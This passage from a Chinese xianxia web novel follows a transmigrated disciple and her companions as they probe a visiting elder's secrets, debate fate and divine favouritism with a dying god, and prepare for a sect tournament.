关键她一手拉着一个同伴都能走这么快, 真的没有用轻功吗?真是恐怖如斯。 关云铮见已经离开那处院子好些距离,以普通人的目力大概是看不见四人的身影了,这才说道:“方才在餐桌上提起昆仑的时候,沈大人神情有些犹豫,不知你们注意到没有。” 楚悯点点头:“是有一些,不过或许只是因为以她对昆仑的了解,对她们入世的举动有些惊讶?” “是啊,毕竟昆仑避世不出是出了名的,忽然来参加大比这件事确实足够令人惊诧。”叶泯被关云铮拉着疾速走了一路竟没觉出累,不由在心里感慨了一番:近日的修炼果然小有成效。 关云铮松开拉着两位同伴的双手,听到这没忍住抬手,心虚地用手背蹭了蹭鼻尖。 谭一筠注意到她的动作:“你读到沈大人的记忆了?” 关云铮立即摊开双手,义正辞严道:“我并没有读取沈大人记忆的想法,但是在她停顿的那一瞬间,有一段极为强烈的记忆从她身体里逸散了出来,尽管她下意识收回这段记忆的速度很快,但还是被我捉到了一缕。” 被动技能就这样不讲道理,她也没办法。 或许是因为她如今的修为处在一个不上不下的阶段,既没有强到可以自如地控制将隐的权能,也没有弱到无法读取,所以总会发生这种“不问自取”的尴尬事件。 同伴们熟知她的秉性,自然不会怀疑她所说,只对她言语中的重点分析起来。 四人错落着走在回到归墟山门的路上,楚悯走在关云铮侧后方说道:“所以那一缕记忆里,展现了什么?” 关云铮侧过脸看她:“如果我没读错的话,记忆中的画面是昆仑,应该说奚楼,她在动身赶赴归墟之前去找过陛下。” 楚悯三人一齐皱起眉头,叶泯忍不住问道:“她不仅要入世,还一入就入了个大的,甚至去见过陛下了?” 绝大多数仙门与朝廷联络都需经过仙盟,很少有仙门的掌事者会直接与朝廷……甚至陛下对话,奚楼究竟想做什么?又为什么能直接面见陛下?难道奚楼也像章存舒一样,同陛下有私交? 谭一筠用扇骨抵着下巴:“没了?” 关云铮点头:“没了。” “虽然我们暂时不清楚奚楼前辈去见陛下的目的,但是在昆仑抵达归墟的这段时间里,确实有另一件事一直在困扰我……”楚悯思忖着说。 “你是想说她是一个人来的?”关云铮问道,这件事四人之前就探讨过,得出的结论是奚楼很可能带着能容纳多人的随身芥子。 但奚楼住在青镜山上,能容纳多人的芥子一旦展开,必然会有不容忽视的动静,不可能在此期间一直不被察觉。 况且谭一筠和叶泯就是住在芥子中的,芥子虽然是个可以视作寝舍的空间,却并不是真的“寝舍”,不能进行自主的空气流通。 归墟芥子院中的芥子每隔一段时间都会经由制造芥子之人将其“展开”至外界,完成“气体置换”后再归拢。这个过程有点像是给游泳池换水,只不过游泳池不换水只是脏,芥子不换气却会死人。 毕竟芥子其实是个“死”的空间,里面的空气很有限,时隔一段时间必须“打开换气”,不然里面的活物便会窒息而死。 如果真如四人先前的猜想,芥子中容纳了多人,那么消耗氧气的速度就会更快,换气便会变得更加急迫——奚楼却从未将芥子“展开”过。 说明四人的猜想一定有哪里出了问题。 关云铮无意识地用食指指关节摩挲着自己的下巴,忽而又想到一种可能:“芥子非得换气吗?有没有不换气的可能?” 谭一筠展开子不语摇了摇:“即便是已经辟谷的修道之人,那也是活物,少不得呼吸吐纳,就算用修为勉力支撑,减少消耗,这么长的时间过去,也早就闷死了。” 他话音刚落,关云铮和楚悯异口同声道:“万一……里面不是活物呢?” **** 章存舒正坐在桌边和李演拌嘴,忽然听见一阵急匆匆的脚步声传来,不由挑起眉:“走得这么急?” 瞬息之后,脚步声的主人在门外亮了相。 ——关云铮大跨步走进门:“师父,李厨。” 李演拎起茶壶:“正好,今日份栗子牛乳,给你们留了一壶,喝了好睡。” 关云铮同他道一声谢,但顾不上喝,先坐到章存舒对面问道:“奚楼前辈究竟有没有带着随身芥子?” 章存舒一愣,随即笑道:“你都说是随身了,我怎么好知道这个?” 对上章存舒顾左右而言他的神情,关云铮再急迫的心情都能被动熄灭。她在长久与师父打太极的过程中无师自通了迂回战术,此时见章存舒一脸什么都不知道的真诚茫然,在心里叹了口气,端起茶壶给每个人倒了一杯栗子牛乳。 “那两位大人决定住山下了?”章存舒端起杯子喝了一口。 楚悯点点头:“山下风景好,左右山上也没什么要紧的事务,两位大人便都答应了。” “那方才怎么急成那样?后来又遇到什么事了?”章存舒继续装无辜。 关云铮暂时懒得理他,闷不作声地用臼齿嚼牛乳里的栗子碎。 叶泯看了一眼关云铮,摸着杯子的外壁说道:“我们一直觉得奚楼前辈不大可能独身前来,今日又有了新的猜测。” “是什么?说来听听。”章存舒说道。 关云铮把杯底在桌上轻轻一磕:“师父,你有事瞒着我们,那我们也不告诉你。” 李演闻言在一旁起哄:“就是,他故弄玄虚,你们也不用太坦诚,人与人相处没点真心怎么成。” 章存舒原本还打算逗关云铮几句,听见这话顿时破了功:“你到底是我雇来的还是云崽雇来的,怎么越发爱给我拆台了。” 李演“哼”了声,拿着已经空了的茶壶去清洗了。 章存舒也正色下来:“我也只是猜测,没有实证,此事说与你们用处不大,徒添几人忧虑罢了,所以才不说。” 关云铮不吃这套,默不作声地继续喝着杯子里的栗子牛乳。 按照以往的经验来看,她用沉默以对这招都能换章存舒退让,可今日不知是怎么了,章存舒竟然没有在她的注视下改口,她便清楚此事大概确实不小,也还没清楚到可以告诉少年人,索性不再追问,推了杯子和同伴们各自回住处去了。 只是她没想到,章存舒这个谜语人故布疑阵,另一个“谜语人”却意外的坦诚。 ——“你的意思是,学子之乱平定背后,还有奚楼的手笔?”关云铮听完“祂”的一番话后问道。 祂大晚上的又一次不请自来,知道关云铮此时对什么事最感兴趣,难得没遮掩,竹筒倒豆子似的,将“奚楼去见苍韫桢究竟是为何”一事讲了个透彻——也就是沈时安那段记忆里的画面。 “可以这么说,如果不是她提供了邪修相关的线索,事情也不会那么快查到仙盟头上。” “可她又是怎么知道有这一出乱子的?难道这件事也是方竞甫搞的鬼,她也清楚方竞甫的计划?”关云铮不解。 “这事倒不是方竞甫折腾出来的,他同许多邪修都有所牵扯,不只是鬼灯楼,彼此之间自然有消息往来,兴许只是你放火来我杀人这样的合作关系罢了。”祂语气随意地说道。 关云铮面对祂的概括一阵无言,她还是更想这个句式拿来形容“你耕田来我织布”,虽然全是性别刻板印象和传统观念灌输,但好歹还在法治社会。 “要是早个几十年,邪修和仙门同样鼎盛的时期,鬼灯楼也不会变成如今这么显眼的活靶子,活脱脱众矢之的。”祂唏嘘道。 “你怎么还感慨上了?同情他们的境遇吗?”关云铮诧异。 “哦那倒不至于,自己的选择别人有什么资格扯些同不同情的,各自的代价各自背负,有什么好说的。”祂随口说道,“不过若是我真说同情,你是不是得同我翻脸?” 关云铮被祂哽了一下,想不明白祂何时这么“在乎”自己的看法了,估计又是闲出屁了在调侃自己,于是面无表情道:“你眼睛在哪我都不知道,翻给谁看。” “此事说来也实在是丢脸,快死的神连自己的躯体都幻化不出来,也就你不介意了,隔三差五被我扰动识海。”祂笑叹一声,说道。 真是奇了,关云铮忍不住感慨,还有这东西说人话的一天。 “你要是不时常扰动我的识海,关心这天下的大小事,兴许还能有半挂身体。”关云铮笑了声,半嘲不嘲地说。 “你那什么量词,是形容人的吗?不像话。”祂装模作样地“嗔怪”一句,接着说道,“总之你别对我抱太高期待,我能说的和你师父能说的也差不多,没什么新鲜的。” 关云铮再度陷入无言,片刻沉默后才问:“师父确实不是你的神格吧?” “当然,这有什么好骗你的。”祂说,“你师父只是天赋颇高,知道的比寻常人都多一些而已。” 关云铮却没那么好糊弄:“代价呢?如果给这世上‘获得越多越痛苦’的东西排个名的话,知识肯定在榜首,师父既然知道的比别人多,没道理能躲过那狗屁天道给他分发的代价吧?” “代价嘛……确实有一些,不过也要看你如何定义代价了。”祂说。 代价,本义指商品交易中的钱款支付行为,后引申为达成目标所耗费的物质资源、精力投入或必要牺牲。识海中的将隐无令自动,给她从犄角旮旯的记忆里翻出了一段来自百度百科的词语注解。 关云铮有些不耐烦地一皱眉,她当然知道“代价”这个词是什么意思,自然也明白这词其实与普通人的生活相去甚远,在现实生活中很难遇到一个人把“代价”挂在嘴边,“我要让谁谁付出代价”这种话一般都是文艺作品里的台词,跟老百姓没什么关系。 可就是这样一个完全不“接地气”的词,她来到这个世界之后听身边的人提起过好几次。 第一次是楚悯。 楚悯背负的代价是直观的,她与自己,不,原身年纪相仿,个子却要矮一截,一年过去,纵然体术上的修炼强度不及她,楚悯的个头也几乎一点都没长,仿佛每天都在提醒注意到这一点的人:作为一个过于有天赋的天问,这就是她的代价。 这是加诸己身的代价,那还会有其他形式的代价吗? “自然。”祂不问自答。 如果想要让一个人受尽苦难,未必要摧残ta的躯体,甚至未必要伤害ta。因为人是社会性生物,有亲朋,有好友,让这个人在家庭幸福美满的时候家破人亡,让ta在好友围绕的生活中看着好友逐个死去,这也是一种苦难,比施加于躯体之上的苦难更可怕,能够摧枯拉朽般地彻底毁灭一个人的意志。 “师父的家人还活着吗?”关云铮忽然问道。 祂回答的语气没有丝毫的停滞,仿佛早就料到她会有此问:“你说的是哪种家人?” 果然。 “章家在朝安仍旧有不小的产业,如今又是谁在打理?”她又追问道。 祂思忖一番:“似乎是他叔伯的孩子?大家族之中总不会少了管事的人。” 虽然早就习惯了祂说话的语气,但这种事不关己的非人感还是让人窝火,关云铮克制地呼了一口气,正要开口,就听祂又用一种很好奇的语气说道:“嗯?这是什么意思?” “你又偷窥什么了。”关云铮麻木道。 “究竟顺遂是偏袒,还是逆境是偏袒,这是你一直在思考的问题吗?有意思。”祂饶有兴味地说道。 关云铮麻木的神情微微一凝。 这确实是她一直以来都在思考的问题,方才的某个瞬间也曾在她脑海中一闪而过——想来就是这样被祂察觉到的,但这个问题针对的是艺术创作过程中的人物底色,与现在的话题其实没什么相干…… 其实还是有的。 虽然她一直怀疑这个世界是否是某人创作的一本小说,也已经在这大半年的时间里逐渐否定了这个想法,毕竟她是与一群有喜怒哀乐的人相处,不是与带着“龙傲天”“清冷”这样呆板标签的“角色”相处,她早就不会用这种想法揣摩这个世界了。 在21世纪冲浪的时候,总能看到有人探讨某个作品颇多的作者到底最爱自己笔下哪个角色,是命途多舛到惨绝人寰的那一个呢?还是作为天之骄子一路顺风顺水的那一个呢? 究竟顺遂是偏袒,还是逆境是偏袒? 在这修仙世界之中,天道……又算不算一种“作者意志”呢? 如果算的话,什么样的人生算是得到了天道的偏袒? “虽然你的想法很有意思,我也很好奇你每天都在想这些思辨性?是这么说吗?想这些思辨性的话题脑袋会不会炸开,但是我得告诉你,你这个想法放在这个世界,从根本上就是错的。”祂语气间似乎很是遗憾,仿佛看到哲理被埋没似的,“天道不是人心,它永远不会偏袒任何人,它让你的师父承受这些,让你的同伴承受那些,都只是因为,要达成它想要的那个结果,他们必须要承受这些,仅此而已。” 哦,天地不仁,以万物为刍狗。 但是说好的大道为公呢,这也不公啊?好像章存舒和楚悯的脑袋瓜太聪明,让天道觉得晃眼了似的,要拿这两人当必须牺牲的棋子。到头来不仅母的得不到公平的对待,连公的都没有公平对待了?凭什么就得是他们承受这些苦难? 敢情大道和天道不是一个道,天道就没公平过,眼睛一直是瞎的。 难怪影视作品到现在都还在喊“我命由我不由天”呢,这个口号真好赚钱吧。 关云铮精神状态奇佳地想。 不知是不是因为她脑海中的念头对祂来说太难以解读,祂主动跳过了这部分没再窥探,继续说起方才的话题:“不过这个问题并不是你主动开始思考的吧,从哪看到的?” “吵架的评论区。”关云铮还在脑海里发疯,闻言随口敷衍了一句。 “评论区?那又是什么?” 关云铮回过神来,疲惫地叹了口气:“重点偏离十万八千里了这位神,说点有用的。” “我说认真的,偏袒这个词的定义又是怎样的?提出这个问题的人自己又是怎样定义偏袒的?如果我是天道,布置逆境比布置顺境更费时间,因为一时坎坷可能是行差踏错,一直坎坷必然有力量从中作梗,祂得时刻分出视线在此人身上。” 辩论实在耗费心神,关云铮强行打起精神说道:“那还有句话叫‘麻绳专挑细处断’呢,形容坎坷之人总会比别人更容易遭遇新的坎坷。” “还有这话?你们不是……唯物主义吗?怎么还信命运?”祂奇道。 关云铮又有点想崩溃:“你别再翻我的脑子了!给我留点隐私吧!” 祂立刻善解人意地道歉:“不好意思,被动技能,CD也比较短。” 算了。关云铮无力地想:与人斗其乐无穷,与神斗其蠢无比。 “如果平常的日子都好好的,但是某一天出门忽然撞到脑袋,走在路上摔了一跤,人们往往会说自己这一天很倒霉,犯了水逆。但是如果有人每天都是这样,常理也不能解释ta们的霉运,就只好安慰自己,是命不好了。”关云铮平静道。 其实没那么多人信命运,但世上的大多数人都觉得命运对待自己不公平,除了说些类似“麻绳专挑细处断”这样的话安抚自己,又能做些什么呢。 更何况,这种话常常也不是苦命人自己说的,苦命的人光是活着都很艰难,往往是没有力气坐在路边,为自己的痛苦哭上一哭的。 以她在21世纪冲浪的经验来看,“麻绳专挑细处断”,都是那些没做过“细处”,甚至不是“麻绳”的人说的,几乎可以视作一种自上而下的、无关紧要的……怜悯。 “麻绳不也是人做的?哪有生来就是麻绳的麻?”祂说,“如果这些人相信命运,把自己苦命的一生形容成纤细的麻绳,那就该存在一个制作麻绳的人,祂难道不是故意做出粗细不等的麻绳吗?” “哇……你在引导我推翻这个天道吗?”关云铮真情实感地感慨道。 “那倒没有,你师父他们还没死呢,把你推出去干这事做什么?没到那个地步。”祂随口说道,而后又学着她的语气,真情实感地抱怨道,“你才是那个重点跑了十万八千里的吧,我同你说偏袒的定义,你同我说麻绳,我都被你绕走了。” 关云铮都被祂胡搅蛮缠似的话逗笑了:“我的意思是,有些人认为,一生坎坷的人并非是因为有人从中作梗,而是周围存在着某种让ta们过得越来越差的……磁场?” “ta们认为错了,没有人该一直过同样悲惨的生活。”祂忽然用一种极度平静的语气说道。 太过平静的语气说出这样的话,使得话语的内容听起来几乎像是真理,一时有些……振聋发聩。 “说回方才的话题。”祂继续平静地说道,“难道你认为精力等同于爱吗?” 关云铮配合着认真思考了几秒:“很难不这样认为吧?就像一个家庭里有很多个孩子,得到更多精力的孩子必然得到了更多的爱啊?” “那如果精力是无穷无尽的,爱却是有限的呢?你觉得逆境是偏袒,还是顺遂是偏袒?” 关云铮一时没有接话。 “你不能用同样的标准去衡量不同的人,有的人精力多些而爱少些,有的人就会有分不完的爱而精力稀缺,此时分析哪种是偏袒才是合理的,因为ta在稀缺的情况下,还是将那部分给予了那个由ta创造的存在。” “天道没有爱,而精力无限,故而它不偏袒任何人,它只是视每个人扮演‘角色’的不同,分发不同数量的苦难而已。”祂为今夜的话题下了最终论断,瞬息之后,忽而又毫无征兆地说道,“但如果你问我最偏袒谁,毕竟我姑且也算‘创造’过几个‘存在’,我偏袒每一个让我的计划出现偏差的人,譬如你同伴的叔父楚泽枫,譬如那个缔造出洞玄的无名修士,尽管ta们让我不得不重新调整我的计划。” “为什么?”关云铮终于开口问道。 “因为挂念。人们对神的供奉,与神对人们的挂念,共同组成了神明。尽管我已经失了供奉,但ta们的偏差令我挂念,我关心ta们的归处,尽管我并不能给ta们安排一个合适的安息之地。 “这些挂念让我觉得,我还存在于这天地间,暂时不会消散。为别人活着的感觉很稀罕,我会为了这种感觉,努力不那么早消散。”—— 作者有话说:本人写文最大的缺点,就是控制不住这张阴阳怪气的嘴[墨镜] 还有一思辨起来就不知天地为何物了(目移) 第165章 翌日一早, 谭一筠和叶泯并肩走出芥子院时,就见关云铮抱着霄汉靠在外墙边,垂着头不知在想些什么。这个季节日出很早, 两人对视一眼, 不清楚她站着等了多久了。 关云铮听见熟悉的脚步声,抬起头, 一双眼下盖了层淡淡的青黑:“早。” 叶泯被她这副模样吓了一跳:“你不会是一宿没睡吧?” 这可太少见了, 虽然云铮时常晚上练功,但从没耽误过睡觉,有几次四人探讨点什么,要影响她休息了,她还会叫停讨论,回房洗漱歇下。 叶泯和谭一筠都是男孩, 不好过问女孩睡觉这种较为私密的事,但他俩依稀记得小悯应该是问过这件事的。 当时云铮怎么说的来着? “没有闹钟, 不早睡怕起不来床。” 当时两人琢磨了许久,也没明白“闹钟”到底是个什么物件, 但是小悯好像听懂了, 他们那时还自我安慰:不愧是小悯,什么都懂。 往日从未耽搁过休憩的人,今日这是怎么了? 关云铮不说自己来芥子院的目的, 三人便一同往饭堂的方向走, 谭一筠关切道:“不会是一直想着沈大人那段记忆,睡不好觉吧?” “不全是。”关云铮的语气毫无起伏,听上去平静得快入土了,“昨晚遇到神经病了。” 叶泯的脸上缓缓流露出一丝困惑:“这又是什么意思?” 关云铮把霄汉背回身后:“骂人的,别学。” 叶泯不明所以地点点头:“好, 我不学。” 谭一筠大早上的原本还有些困,听见两人这一来一回愣是笑清醒了,哈欠打到一半变成大笑,眼角泪花都冒了出来。 关云铮冷眼旁观:“当心下巴脱臼。” 谭一筠瞬息之间收敛笑容,迅疾抬手合上自己的嘴,做完这一串动作后感慨道:“虽然一宿没睡,但你的攻击性还是一如往常啊。” 关云铮懒得理他。 叶泯看了看眼下青黑的关云铮,又看了看眼角泪花还没干的谭一筠,向后者发问:“你又是因为什么没睡好?夜里又偷看书?” 谭一筠急了:“读书人的事——” 关云铮凉凉接腔:“怎么能叫偷?” 敢情这位名字写作一筠读作乙己,真是好生开眼。 谭一筠被她如此丝滑的接腔梗了梗,为自己辩解道:“我原本想查一查昆仑相关的典籍,结果给我翻到一本旁的书籍,里面记载的东西又诡异又……” “上头?”叶泯善解人意地用关云铮先前传授的新词为他解释,“所以你没忍住,看了大半宿?” 谭一筠叹了口气:“我是觉得那典籍实在邪门,但描写得又逸趣横生似的,看得人又是害怕又是好奇,一时没控制住,抬眼时外面天色已经亮了。” 懂了,也是相当一部分人看恐怖片时的心理,人菜瘾大。 三人抵达饭堂,关云铮率先跨过门槛,随口接话:“有多邪门?” 谭一筠的话音里透出几分凝重:“我怀疑方竞甫也看过那本典籍。” **** 楚悯早起听风听水,已经先一步回到了饭堂,三人进门时,她便见同伴中两人都是一脸没休息好的萎顿模样,正打算开口,忽而又注意到走近的三人脸上都是一脸正色,不由愣了愣:“发生什么事了?” 三人端着各自喜欢的吃食坐下,谭一筠喝了口热粥:“我昨夜翻阅子不语之前速记下来的归墟藏书阁典籍,其中一本上记载了许多邪术,那之中就有炼制人蛊之术。” 谭一筠说着,一手将子不语抛至几人面前的长桌上空,扇面上流光拂过,片刻之后浮现出一大片墨迹,密密麻麻的,正是人蛊炼制之术。 “先前我速记这些典籍时便问过褚老,他说归墟建派年头不长,没有什么前人留下的秘籍,大多是仙门内共用的一套典籍,或者这些年归墟中人四处搜罗来的,大多并非孤本。”谭一筠又解释道。 叶泯搅合着碗里的热粥:“这样说来,方竞甫倒未必来过归墟。” 关云铮昨夜与“祂”对谈过后,思路变得格外刁钻,此时便冷不丁说道:“我看没准就是迷津渡覆灭后,从他们那里收缴来的。” 根本就是方竞甫的东西。 人蛊之术失传已久,方竞甫炼出的是这几十年来唯一一只,如果是因为这本典籍确实是万中无一的“孤本”,而又恰好落在他手中,那一切就都说得通了。 毕竟疯子运气好比疯子有脑子这件事,更容易让人接受。 谭一筠彻夜“拜读”这本邪里邪气的孤本,此刻听完关云铮所说,身不由己地打了个不甚明显的哆嗦,子不语扇面上的字迹都有一瞬间变模糊了。 他竟然对着货真价实的邪术孤本挑灯夜读了大半宿?他是不是疯了? 谭一筠一脸被脏东西沾上似的绝望,看向楚悯道:“小悯,还是给我道清心诀吧,我怀疑这书有古怪。” 纵然是这样严肃的场合,楚悯还是被他这句话逗得有些想笑,依言抬手给他施了一道清心诀:“邪术哪有那么容易沾染上,要真如此,云崽在迷津渡那次幻境中还看过那人蛊的记忆,岂不更受影响?” ——记忆中那炼制的过程,岂不比书籍上的字词来得更加刻骨铭心? 她不这样说还好,一说起迷津渡幻境,谭一筠和叶泯同时想起了那人蛊具体的炼制过程,险些把舀了粥的勺子丢回碗里。 叶泯一脸沉痛:“小悯,你怎么也像云铮似的……” 关云铮面无表情:“我怎么。” 叶泯猛地低头吸入一口粥:“没肿么。” 关云铮恐吓完同伴,也摄入足够热量,揉了一把自己的脸,正色道:“奚楼前辈在动身前去找陛下,是因为知晓学子之乱背后的真相,还为此提供了解决的办法。” 叶泯叼着勺子茫然,谭一筠若有所思地看向她,唯有楚悯在短暂疑惑后,明白了她这消息究竟来自何处。 “但除此之外,我没有更多别的消息了,所以目前我们最需要解决的问题,依旧是方竞甫究竟是怎样做到给奚亭前辈下了心魔引,奚楼前辈又是怎样清楚方竞甫以及其他邪修之后计划的。”关云铮坦言道。 “该怎么查?”叶泯很快配合道。 “不用查,我觉得奚楼前辈根本不打算隐瞒,你就是找准时机后直接问她,她恐怕也会告诉你。”短时间碳水摄入过快,关云铮那一晚上没来报道的困意终于姗姗来迟,她打了个哈欠,“不过我们大概来不及了。” 谭一筠莫名:“什么意思?” 关云铮撑着脑袋闭上眼:“清晨出门时我发现有别的仙门已经到了,大比就要开始了。” **** 奚楼并非是为了大比而来,并且出于某些原因提早出发了,所以昆仑作为离归墟最远的门派,反而是最早抵达的。这几日过去,其他仙门也终于陆续抵达了归墟,多数都是乘灵舟而来,只剩下一些没有归属的江湖散修,来的方式堪称五花八门。 关云铮四人这几日一直跟在步雁山和章存舒身后为两人打下手,跟着接待来宾,见识了各式各样的灵舟款式,也见识了散修们千奇百怪的坐骑。 骑马来的是最寻常的,骑驴的也还算常规,剩下的就都是些令人匪夷所思的了,譬如骑着白虎来的灵兽派,骑着骆驼来的不知什么派,连叶泯这个见多识广的灵兽派都没见过这样丰富的坐骑品类,反倒是穿越来的关云铮一脸淡定,心说好歹没骑神话生物来。 “话说这世上有龙吗?”关云铮靠在树边,看那个骑骆驼的手忙脚乱将坐骑收进灵笼,话却是向着同伴问的。 山门处没有护山大阵遮挡,谭一筠用子不语给自己扇着风:“没有,那是传说中的灵兽,如今大概已经销声匿迹了。” “以前有过?”关云铮直起身。 谭一筠语气随意:“从前仙门鼎盛时,飞升的大能十年间能出好几个,大约也不是没可能。” 又是鼎盛时。 关云铮抱着双臂打量着山门处等待的众人,漫无边际地想:天道想要的是人治,是只包括普通人的人治,还是也包括仙门人?如果只包括普通人,那仙门势必会在日复一日的发展中逐渐退出历史舞台,毕竟这是天道之下的必然;如果也包括仙门人……难道天道想要让仙门回到鼎盛期? 逐渐走向衰微的仙门人与普通人相比,无非只是体格更强健一些,总还算是人吧?但若是仙门回到鼎盛时期,真正的人治又能得到实现吗? 这念头持续了没多久,关云铮就感到一阵头痛,怀疑是因为自己最近睡眠状态奇烂无比,又喜欢在大晚上想些有的没的,索性重新靠回树上,再度放空自己的大脑。 但是心念变转之间,她又隐约觉得自己好像忘记了什么事,哪怕放空也仍旧无意识皱着眉头。 楚悯一回头,就见她一脸空茫又略带烦闷的模样,悄悄给她施了一道清心诀。 关云铮感受到识海拂过一阵清风似的平静,正想开口,听见站在两人身前的叶泯说道:“奇怪,灵兽派的都来了,我哥呢?” 关云铮顺势抬头看了眼人群:“喏,最后面那架灵舟,被那头象挡住了。” 叶泯探过身子一看,果然看见叶浔正从那灵舟上下来,二话不说便飞奔过去:“哥哥哥哥哥!” 谭一筠摇着扇子退到关云铮和楚悯身侧,听见关云铮随口点评了一句:“心思细腻却又不过度内耗,看来叶泯的哥哥真的待他很好。” 楚悯见过兄弟二人的相处情景,闻言点点头:“叶泯很听他兄长的话,要是受了委屈,他兄长也会立刻为他讨回来,确实是关系很好的兄弟。” 关云铮忽而看向她。 楚悯不明所以了瞬息,继而明白过来:“你也见过我同兄长的相处,我们与叶家兄弟大约不太一样。” 叶浔话不多,做事比较雷厉风行;她兄长做事自然十分靠谱,但话实在太多,感觉把父亲和她不说的那些都补上了,有时候琐碎得叫人头疼。 关云铮深以为然地“嗯”了声:“所以你兄长何时来?” 楚悯坦言:“兄长昨日传信与我,说是已经到了镜溪,途中碰见好些仙门,就不与他们一起来了,怕我们忙不过来,晚些再上山。” 谭一筠顺着她的话看了眼正在与来客寒暄的步雁山,怀疑步掌门年纪轻轻,恐怕要跳过大乘境直接飞升了——阴阳两隔的那种。 “你师父呢?”关云铮用手肘拐了拐他。 谭一筠险些被她的手劲拐出内伤,平地踉跄了一下才说:“估计也是晚些才到,我师父连开门派内长老会都是姗姗来迟,没有早到的习惯。” “应该的,她没不去已经很给面子了。”关云铮说道。 谭一筠被她逗笑,回头看她:“你怎么这么为她说话?幻境中一日师徒百日恩吗?” “话痨,你这话可真是不应该,”关云铮随口PUA他,“兰珏长老这样年轻,却已经坐上这个位置,精通的术法功夫也颇多,怎么不值得我为她说话了?” “唉,”谭一筠颇为惆怅地叹气,“墙内开花墙外香,我懂,只是若你说起自己的师父,恐怕也不会全是好话吧?” ……那确实。 很容易先口吐一些芬芳之言。 不过有一点毋庸置疑:纵然两个师父都热衷于坑徒弟,但ta们也都是好师父。 “在归墟受章先生幻境磋磨,在翠屏山我也没少被师父布设的阵法打压,有时午夜梦回,都在思考师父设下的阵法何解,实在是颇费了一番才智与头发。”谭一筠长叹一声,说道。 “意思是你将来秃了,还得怪到我头上?”兰珏的声音忽然从高处传来。 三人顿时抬起头来,只见兰珏正坐在关云铮倚靠树木的枝干之上:“我的好徒弟,大多男人可都逃不开秃头的命,这可怪不了为师啊。” ……这也确实。 谭一筠差点没维持住自己的表情:“师父,你怎么今日就到了?” 兰珏从枝干上翩然而下:“今日不到,岂不听不到你这番言论了?说起来,男人大多会秃这事,还是云铮告诉我的呢。” 关云铮对上谭一筠怨念的眼神,淡定地勾起嘴角一笑。 看她也没用,都是基因决定的,最好从现在开始祈祷,自己是那个幸运的基因型吧—— 作者有话说:有没有还没收藏预收的小伙伴能给这个菇的下一本点个收藏[可怜] 第166章 被神光临过多次的识海这几日很不太平, 每到夜里就开始波涛汹涌,那分明只是意象的海仿佛有了实体,嘈杂的声音始终在关云铮的耳边嗡鸣, 扰得她头痛欲裂。 向前追溯的话, 这种情况从迷津渡幻境结束后便开始了,起先只是有些失眠, 深呼吸几个来回总能睡着;随着大比迫近, 她想不通的事情变多,睡眠状态也就越来越差,到了夜里越想睡着就越睡不着的地步。 睡姿调整了一轮,深呼吸了十几个来回,耳边还是有嗡鸣,甚至手也隐隐发麻起来。 关云铮把脸埋在被子上叹了口气, 索性从榻上坐起来,轻手轻脚地推开房门, 到院外的桌边坐着。 她以为来到这个世界大半年,在师门众人的言传身教之下, 已经彻底摆脱了曾经加诸己身的优绩主义束缚, 可只要她心绪不宁,过去那些感觉还是会如影随形地缠上她。 过去最焦虑的一段时间,只要她平躺下来, 就能立刻听见胸腔里的心跳声, 别人静息状态心率六七十,她稳稳飚上一百,怎样深呼吸都降不下来。 她以为是自己的心脏出问题了,甚至为此背过24小时动态心电,结果心电图报告显示她连窦性心律都比以前好多了, 仿佛她口口声声说的不舒服,只是她成绩差不爱学习的借口。 直到她后知后觉,可能不是生理上出了问题,而是心理上出了问题。 人一旦意识到自己有精神问题,精神一下子就好多了。 她开始放任自己的失眠,学着乐观地面对过于吵闹的心跳,和不停骚||扰她的头疼。 说来很有意思,她的头疼是一种“思维性头痛”,如果她能什么都不想,头疼就会逐渐减弱。但正如人装睡的时候反而会控制不住地眼皮乱颤一样,她越是想睡着,就越是忍不住想些有的没的;而她想的东西越多,阻碍她入睡的头痛就越剧烈。 时间久了,她甚至享受起了这种“只要动脑头就会痛”的感觉,毕竟从没在自己身上看到投入和产出如此成正比的反应,一时之间几乎有些沉迷其中。 关云铮随手在石桌上用手指画着符咒,此时夜深人静,小悯的院子与她所在只有一墙之隔,墙上还有个月洞门,隔不了什么音,她能做的事很有限。 这时候她就有点想念现代科技了,毕竟玩手机可以无声获得很多快乐。 关云铮指尖动作一顿。 玩手机?既然将隐连犄角旮旯的百科都能翻出来,她是不是可以试着用将隐翻一翻她当初看过的那些有意思的东西? 这个念头一冒出来就迅速占据了她所有的思想,好像一动脑就会头疼的人不是她似的。 关云铮坐直身子,闭上眼,熟门熟路地用摇羽传授给她的口诀将自己的意识沉入识海,尝试着给将隐制定明确的回溯范围。 可惜将隐的原主人境界太高,这法器纵然已经归了她,操纵起来也不是那么容易,平时她有需要会触发被动,此刻她没事找事,将隐几乎没什么反应。 她只好装模作样地表示自己并不是有意要回溯,适时地展现出一点求知欲,仿佛演了一出戏给这法器。 不同于方才心神不宁的识海动荡,在她表现出需要将隐调动记忆后,识海之中出现了一层无形的波,在以将隐为中心不断向四周扩散开,那波触及到关云铮的神识,让她下意识晃了晃神。 下一瞬,将隐回溯出的记忆倏地出现在她脑海。 关云铮一愣,没想到会这么快,正打算美滋滋地查看,却在探入神识后的瞬间,收敛了脸上若有似无的笑意。 **** 仙门大比一应事务中,最麻烦的向来是宾客的住宿及饮食,好在闻家名下产业多,大多问题都能帮着解决,章存舒秉持“纨绔就得祸祸纨绔”的心态,逮着闻越和闻逍两只金毛羊疯狂薅羊毛。 宾客的事一解决,要不了两天,大比的第一轮比试名单便出炉了。 关云铮原本以为此次大比会效仿翠屏山那一次,轮番比试直到决出胜者,谁料名单安排出来后,住在芥子院、第一时间看见那金榜的谭一筠和叶泯立即跑来她的小院:“今年大比竟只有一个幻境!” “什么?!”关云铮“噌”地从座位上站起身,“所有人?全都进同一个幻境?只比这一个幻境?” 叶泯最担心的事还是成了真,闻言沉痛地点了点头:“只比这一个幻境。” 关云铮面无表情:“我起这么早就是为了听这个的?还不如回去失眠。” 来做客的兰珏倒是好心情:“就一次幻境多好啊,比完就一身轻松了,不用担心在下一轮比试前遭人暗算。” 关云铮以手扶额:“兰长老,说点阳间的话。” 这一个个的发言怎么都这么地狱。 兰珏完全一副无所谓的态度,一边同他们有一搭没一搭地说话,一边低头查看着子不语上各处,似乎决心给谭一筠这法器再添点小功能似的。 “不过这么大的幻境,搭建以及后续运作都需要耗费极多灵气,目前已经抵达的这些人加起来,恐怕也不太够吧。”兰珏没抬眼,“哦对,差点忘了仙盟那帮人,什么都没有,就是灵石多。” “原来有灵石?”关云铮在秋千上坐下,难得头脑清醒不晕乎,打算趁此时机多荡会儿,“我在归墟从没见过,还以为大家都靠天地灵气修炼,没有别的灵气采补方式呢。” 